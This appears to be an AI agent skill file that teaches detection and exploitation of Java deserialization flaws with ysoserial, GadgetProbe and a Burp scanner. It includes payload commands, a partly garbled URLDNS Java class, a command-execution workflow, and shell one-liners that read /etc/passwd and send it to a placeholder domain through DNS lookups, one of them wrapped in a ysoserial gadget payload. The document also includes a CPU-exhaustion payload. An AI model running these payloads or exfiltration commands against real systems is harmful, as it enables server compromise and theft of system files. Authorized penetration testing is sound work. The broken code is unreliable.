| name | java-deserialization-detection |
| description | Detect and exploit Java deserialization vulnerabilities using DNS-based payloads, GadgetProbe, and Java Deserialization Scanner. Use this skill whenever the user mentions Java deserialization, gadget chains, ysoserial, Burp extensions for deserialization testing, DNS exfiltration from Java apps, or needs to probe for vulnerable Java classes on a target. This skill covers URLDNS payloads, class existence detection, and automated exploitation workflows. |
Java Deserialization Detection and Exploitation
A skill for detecting and exploiting Java deserialization vulnerabilities using DNS-based techniques, GadgetProbe, and the Java Deserialization Scanner.
Overview
Java deserialization vulnerabilities occur when applications deserialize untrusted data without proper validation. This skill teaches you to:
- Detect deserialization using DNS-based payloads (URLDNS technique)
- Probe for vulnerable classes using GadgetProbe
- Automate detection and exploitation with Java Deserialization Scanner
- Exfiltrate data via DNS queries
Core Technique: URLDNS Payload
How It Works
The java.net.URL class implements Serializable and has a curious behavior:
- When a
URL object's hashCode() method is called, it triggers a DNS lookup
- During
HashMap deserialization, hashCode() is called on every key
- By placing a
URL object as a key in a serialized HashMap, deserialization triggers a DNS query
Creating a URLDNS Payload
Use this Python script to generate a URLDNS payload:
python scripts/generate_urldns.py --url "http://<your-collaborator-domain>" --output payload.serial
Or use ysoserial directly:
java -jar ysoserial.jar URLDNS http://<your-collaborator-domain>
Manual Java Implementation
For understanding or customization, here's the core payload structure:
import java.net.URL;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.lang.reflect.Field;
public class URLDNS {
public static void main(String[] args) throws Exception {
String url = "http://<your-domain>";
HashMap ht = new HashMap();
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler);
ht.put(u, url);
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) { return ; }
InetAddress { ; }
}
GadgetProbe
What It Does
GadgetProbe determines if specific Java classes exist on the target server by:
- Attempting to deserialize an arbitrary class
- If successful, triggering a DNS query
- If DNS query is received, the class exists and may be exploitable
Installation
Usage
- Configure DNS listener (Burp Collaborator or your own)
- Select target request in Burp
- Right-click → Send to GadgetProbe
- Choose wordlist from
wordlists/ directory
- Run probe and monitor DNS callbacks
Wordlists
GadgetProbe includes wordlists for common vulnerable classes:
commons-collections - Most common gadget chains
commons-beanutils - Alternative gadget sources
jdk - JDK internal classes
spring - Spring Framework gadgets
Java Deserialization Scanner
Installation
Passive Detection
By default, the scanner monitors all traffic for Java serialized magic bytes (AC ED in hex). When found, it flags potential vulnerabilities.
Active Testing
Manual Testing Workflow
- Select request in Burp
- Right-click → Send to DS - Manual Testing
- Navigate to Deserialization Scanner Tab → Manual Testing
- Select insertion point (parameter, header, body, etc.)
- Choose attack type based on encoding:
raw - Raw serialized data
base64 - Base64 encoded
urlencoded - URL encoded
- Launch test
The scanner automatically:
- Checks for vulnerable libraries
- Tests multiple ysoserial payloads
- Uses DNS, sleep, or CPU-based detection
- Highlights vulnerable libraries
Exploitation Workflow
Once a vulnerable library is identified:
- Send request to Exploiting Tab
- Select injection point
- Choose vulnerable library (e.g.,
commons-collections3.1)
- Enter command to execute
- Press Attack button
DNS Exfiltration
Basic Exfiltration
Exfiltrate file contents via DNS subdomains:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do
host $line.$i.<your-domain>;
i=$((i+1));
done)
Command Output Exfiltration
(cmd | xxd -p -c 31 | while read line; do
host $line.<your-domain>;
done)
Using with ysoserial
java -jar ysoserial.jar CommonsCollections5 \
"(i=0;cat /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.<domain>; i=$((i+1)); done)" \
| base64
Detection Methods
DNS-Based Detection
Pros:
- Reliable callback mechanism
- Works through most firewalls
- Easy to monitor with Burp Collaborator
Cons:
- Requires DNS access
- Limited data exfiltration bandwidth
Sleep-Based Detection
"Thread.sleep(5000)"
Pros:
- No external dependencies
- Works in restricted networks
Cons:
- Slower testing
- May be rate-limited
CPU-Based Detection
"while(true){}"
Pros:
- Observable resource consumption
- No external dependencies
Cons:
- May crash target
- Harder to measure precisely
Common Vulnerable Libraries
| Library | Version Range | Gadget Chain |
|---|
| commons-collections | < 3.2.2 | CommonsCollections1-7 |
| commons-beanutils | < 1.9.3 | BeanUtils1 |
| commons-chain | < 1.1 | CommonsBeanutils1 |
| spring-core | < 5.0.5 | Spring1 |
| jdk | 7u21-7u80 | JDK7u21 |
Testing Checklist
Before testing, verify:
Response Analysis
Positive Indicators
- DNS callback received
- Delayed response (sleep payload)
- High CPU usage on target
- Error messages mentioning deserialization
Negative Indicators
- No DNS callback
- Immediate response
- No error messages
- Request rejected or sanitized
Safety Considerations
- Always get authorization before testing
- Use non-destructive payloads first (DNS, sleep)
- Avoid CPU-intensive payloads on production systems
- Document findings for remediation
- Test in staging before production
References